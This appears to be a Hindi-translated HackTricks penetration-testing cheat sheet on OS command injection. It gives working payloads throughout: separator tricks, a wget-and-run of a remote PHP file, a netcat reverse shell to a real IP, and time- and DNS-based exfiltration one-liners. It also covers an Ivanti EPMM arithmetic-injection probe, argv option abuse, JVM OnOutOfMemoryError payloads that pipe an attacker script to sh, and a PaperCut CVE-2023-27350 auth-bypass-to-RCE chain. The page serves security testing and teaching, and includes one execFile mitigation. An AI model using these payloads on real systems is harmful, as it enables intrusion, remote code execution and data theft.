Command Injection

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

command Injection क्या है?

एक command injection हमलावर को उस सर्वर पर मनमाने ऑपरेटिंग सिस्टम कमांड्स चलाने की अनुमति देता है जो किसी एप्लिकेशन को होस्ट कर रहा होता है। परिणामस्वरूप, एप्लिकेशन और उसके सभी डेटा पूरी तरह से समझौता (compromised) हो सकते हैं। इन कमांड्स का निष्पादन सामान्यतः हमलावर को एप्लिकेशन के वातावरण और आधारभूत सिस्टम पर अनधिकृत पहुँच या नियंत्रण प्राप्त करने की अनुमति देता है।

संदर्भ

यह निर्भर करता है कि आपका इनपुट कहां इंजेक्ट किया जा रहा है; आपको कमांड्स से पहले कोटेड संदर्भ को समाप्त (terminate the quoted context) करना पड़ सकता है (using " or ')।

Command Injection/Execution

#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id #  Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a   # (Combining new lines and tabs)

#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful

#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command

Limition Bypasses

यदि आप arbitrary commands inside a linux machine को निष्पादित करने की कोशिश कर रहे हैं, तो आप इस Bypasses: के बारे में पढ़ने में रुचि रखेंगे:

Bypass Linux Restrictions

Examples

vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay

Bash RewriteMap/CGI-style scripts में अंकगणित मूल्यांकन

RewriteMap helpers जो bash में लिखे जाते हैं कभी-कभी query params को globals में डालते हैं और बाद में उन्हें arithmetic contexts ([[ $a -gt $b ]], $((...)), let) में तुलना करते हैं। Arithmetic expansion content को फिर से re-tokenize कर देता है, इसलिए attacker-controlled variable names या array references दो बार expand होकर execute कर सकते हैं।

Ivanti EPMM RewriteMap helpers में देखा गया पैटर्न:

  1. पैरामीटर ग्लोबल्स में मैप होते हैं (stgStartTime, htheValue).
  2. बाद में चेक:
if [[ ${theCurrentTimeSeconds} -gt ${gStartTime} ]]; then
...
fi
  1. st=theValue भेजें ताकि gStartTime स्ट्रिंग theValue की ओर पॉइंट करे।
  2. h=gPath['sleep 5'] भेजें ताकि theValue में एक array index होता है; अंकगणित चेक के दौरान यह sleep 5 चलाता है (इसे वास्तविक payload से बदलें)।

Probe (~5s delay then 404 if vulnerable):

curl -k "https://TARGET/mifs/c/appstore/fob/ANY?st=theValue&h=gPath['sleep 5']"
  • समान helper को अन्य prefixes के नीचे देखें (उदा., /mifs/c/aftstore/fob/)।
  • Arithmetic contexts अज्ञात टोकन को variable/array identifiers के रूप में मानते हैं, इसलिए यह simple metacharacter filters को बायपास कर देता है।

पैरामीटर

यहाँ शीर्ष 25 पैरामीटर दिए गए हैं जो code injection और इसी तरह की RCE vulnerabilities के लिए संवेदनशील हो सकते हैं (स्रोत: link):

?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}

Time based data exfiltration

डेटा निकालना: char by char

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s

DNS आधारित data exfiltration

यह टूल https://github.com/HoLyVieR/dnsbin पर आधारित है, और इसे dnsbin.zhack.ca पर भी होस्ट किया गया है

1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)

DNS आधारित data exfiltration की जाँच करने के लिए ऑनलाइन टूल:

  • dnsbin.zhack.ca
  • pingb.in

फ़िल्टरिंग बायपास

Windows

powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc

Linux

Bypass Linux Restrictions

Node.js child_process.exec vs execFile

जब आप JavaScript/TypeScript बैक-एंड का ऑडिट कर रहे होते हैं, तो अक्सर आपको Node.js child_process API का सामना करना पड़ता है।

// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
/* … */
});

exec() एक shell (/bin/sh -c) शुरू करता है, इसलिए कोई भी वर्ण जिसका shell के लिए विशेष अर्थ होता है (back-ticks, ;, &&, |, $(), …) उपयोगकर्ता इनपुट को string में जोड़ने पर command injection का कारण बन सकता है।

Mitigation: use execFile() (or spawn() without the shell option) and provide each argument as a separate array element so no shell is involved:

const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
'--id_user', id_user,
'--payload', JSON.stringify(payload)
]);

वास्तविक मामला: Synology Photos ≤ 1.7.0-0794 को एक बिना प्रमाणीकरण वाले WebSocket event के माध्यम से exploit किया जा सकता था, जिसने attacker-controlled डेटा को id_user में रखा, जिसे बाद में exec() कॉल में एम्बेड करके RCE हासिल किया गया (Pwn2Own Ireland 2024).

Argument/Option injection via leading hyphen (argv, no shell metacharacters)

सभी injections को shell metacharacters की ज़रूरत नहीं होती। यदि एप्लिकेशन untrusted strings को system utility को arguments के रूप में पास करता है (यहाँ तक कि execve/execFile के साथ और बिना shell के), कई प्रोग्राम अभी भी किसी भी argument को जो - या -- से शुरू होता है, एक option के रूप में पार्स करेंगे। इससे attacker modes बदल सकता है, output paths बदल सकता है, या बिना कभी shell में प्रवेश किये खतरनाक व्यवहार ट्रिगर कर सकता है।

Typical places where this appears:

  • एम्बेडेड web UIs/CGI handlers जो कमांड बनाते हैं जैसे ping <user>, tcpdump -i <iface> -w <file>, curl <url>, आदि।
  • Centralized CGI routers (उदा., /cgi-bin/<something>.cgi with a selector parameter like topicurl=<handler>) जहाँ कई handlers एक ही कमजोर validator का reuse करते हैं।

What to try:

  • ऐसी वैल्यूज़ दें जो -/-- से शुरू हों ताकि उन्हें downstream tool flags के रूप में consume करे।
  • उन flags का दुरुपयोग करें जो व्यवहार बदलते हैं या फाइलें लिखते हैं, उदाहरण के लिए:
  • ping: -f/-c 100000 डिवाइस पर दबाव डालने के लिए (DoS)
  • curl: -o /tmp/x मनमाने पाथ पर लिखने के लिए, -K <url> attacker-controlled config लोड करने के लिए
  • tcpdump: -G 1 -W 1 -z /path/script.sh unsafe wrappers में post-rotate execution हासिल करने के लिए
  • यदि प्रोग्राम -- end-of-options सपोर्ट करता है, तो naive mitigations जिन्हें गलत जगह पर -- prepend किया गया हो उन्हें bypass करने की कोशिश करें।

Generic PoC shapes against centralized CGI dispatchers:

POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded

# Flip options in a downstream tool via argv injection
topicurl=<handler>&param=-n

# Unauthenticated RCE when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;

JVM diagnostic callbacks के लिए सुनिश्चित exec

कोई भी primitive जो आपको JVM command-line arguments इंजेक्ट करने देता है (_JAVA_OPTIONS, launcher config files, AdditionalJavaArguments fields in desktop agents, आदि) बिना application bytecode को छुए एक विश्वसनीय RCE में बदला जा सकता है:

  1. Force a deterministic crash by shrinking metaspace or heap: -XX:MaxMetaspaceSize=16m (or a tiny -Xmx). This guarantees an OutOfMemoryError even during early bootstrap.
  2. Attach an error hook: -XX:OnOutOfMemoryError="<cmd>" or -XX:OnError="<cmd>" executes an arbitrary OS command whenever the JVM aborts.
  3. Optionally add -XX:+CrashOnOutOfMemoryError to avoid recovery attempts and keep the payload one-shot.

Example payloads:

-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand <blob>"
-XX:MaxMetaspaceSize=12m -XX:OnOutOfMemoryError="/bin/sh -c 'curl -fsS https://attacker/p.sh | sh'"

Because these diagnostics are parsed by the JVM itself, no shell metacharacters are required and the command runs with the same integrity level as the launcher. Desktop IPC bugs that forward user-supplied JVM flags (see Localhost WebSocket abuse) therefore translate directly into OS command execution.

PaperCut NG/MF SetupCompleted auth bypass -> print scripting RCE

  • Vulnerable NG/MF builds (e.g., 22.0.5 Build 63914) expose /app?service=page/SetupCompleted; उस पेज को ब्राउज़ करने और Login पर क्लिक करने से credentials के बिना एक valid JSESSIONID वापस मिलता है (authentication bypass in the setup flow).
  • In Options → Config Editor, सेट करें print-and-device.script.enabled=Y और print.script.sandboxed=N ताकि printer scripting चालू हो और sandbox अक्षम हो।
  • In the printer Scripting tab, स्क्रिप्ट को सक्षम करें और validation errors से बचने के लिए printJobHook को defined रखें, लेकिन payload को function के outside रखें ताकि यह Apply पर क्लिक करते ही तुरंत execute हो जाए (कोई print job आवश्यक नहीं):
function printJobHook(inputs, actions) {}
cmd = ["bash","-c","curl http://attacker/hit"];
java.lang.Runtime.getRuntime().exec(cmd);
  • callback को reverse shell से बदलें; अगर UI/PoC pipes/redirects को संभाल नहीं सकता, तो एक कमांड के साथ payload स्टेज करें और दूसरे request से उसे exec करें।
  • Horizon3’s CVE-2023-27350.py auth bypass, config flips, command execution, और rollback को automate करता है—जब service केवल internal रूप से reachable हो तो इसे upstream proxy (e.g., proxychains → Squid) के माध्यम से चलाएँ।

Brute-Force डिटेक्शन सूची

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt

संदर्भ

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें